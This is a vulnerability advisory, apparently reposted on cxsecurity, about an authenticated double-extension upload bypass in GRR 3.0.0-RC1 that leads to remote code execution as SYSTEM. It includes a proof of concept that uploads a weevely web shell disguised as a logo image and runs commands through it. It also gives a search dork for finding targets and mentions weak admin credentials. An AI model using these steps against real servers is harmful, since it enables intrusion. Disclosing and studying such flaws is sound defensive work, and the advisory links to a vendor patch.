GRR 3.0.0-RC1 Remote Code Execution / File Upload

2016.01.21
Credit: kmkz
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through file upload filter bypass (authenficated) # Date: January 7th, 2016 # Exploit Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> | @kmkz_security # Vendor Homepage: http://grr.devome.com/fr/ # Software Link: http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1 # Version: 3.0.0-RC1 # Tested on: Windows 2003 R2, PHP 5.2.6 # Dork: inurl:/grr/ intext:rservation intitle:"GRR" # CVE ID: Requested I. APPLICATION ====================================================================================== GRR is an open source resources manager tool used in many french public institutions (not only!). It permit for example to manage rooms reservations, and so much more. II. ADVISORY ====================================================================================== The application allows administrators to change the enterprise's logo uploading a new image with .png,.jpg or .gif extension only. Once uploaded, image name is "splitted" in an array and renamed with the name "logo" followed by the extention saved as 2nd array's element. This file called for example "logo.jpg" is also "chmoded" as 0666 permission and directly accessible in image folder (img_grr by default) by all users. Besides, the application does only a basic conditional php test on the extension of the uploaded file. It's possible for an attacker to add a second extension that will be used when the image will be renamed in order to bypass this basic filter (double extension upload filter bypassing). So, a file called backdoor.php.jpg will be renamed as logo.php with chmod 0666 permissions and could be used by attacker to gain more privileges on the targeted server (privesc due to bad file permissions and RCE). To trigger this vulnerability it is necessary to have an administrator account on the GRR application. This vulnerability is a combination of 3 issues: - predictable uploaded file names and path - upload of any kind of file - bad files permission when we upload this file that permit us to gain privilegied access. Note that it could be "dorkable" in order to find targets ... and sometimes with trivial admin credentials ;-). III. PROOF OF CONCEPT ====================================================================================== Generate backdoor: kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size. kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg Login as admin and upload this new 'logo' > Administration > logo Enjoy your shell! kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php pass123 [+] weevely 3.2.0 [+] Target: laboratoire.target.fr:F:\server\grr\images [+] Session: /kmkz/.weevely/sessions/ laboratoire.target.fr/logo_1.session [+] Shell: System shell [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> whoami autorite nt\system IV. RISK ====================================================================================== By uploading a script, an attacker may be able to execute arbitrary code on the server with elevated privileges. This flaw may compromise the integrity of the system (with access to sensitive informations, network shares...) and it may conduce to full information system's compromission using pivots techniques and imagination! V. VERSIONS AFFECTED ====================================================================================== GRR 3.0.0-RC1 is vulnerable (and all previous versions) VI. TIMELINE ====================================================================================== December 17th, 2015: Vulnerability identification January 7th, 2016: Vendor and project developers notification January 11th, 2016: Project developers response January 15th, 2016: Patch release January 17th, 2016: Public disclosure Publication: http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/ Patch : https://github.com/JeromeDevome/GRR/commit/b4c55e009c1af33b63326b755ccc4121a004bf0c VII. LEGAL NOTICES ====================================================================================== The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this advisory. @kmkz_security

References:

http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
https://github.com/JeromeDevome/GRR/commit/b4c55e009c1af33b63326b755ccc4121a004bf0c


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top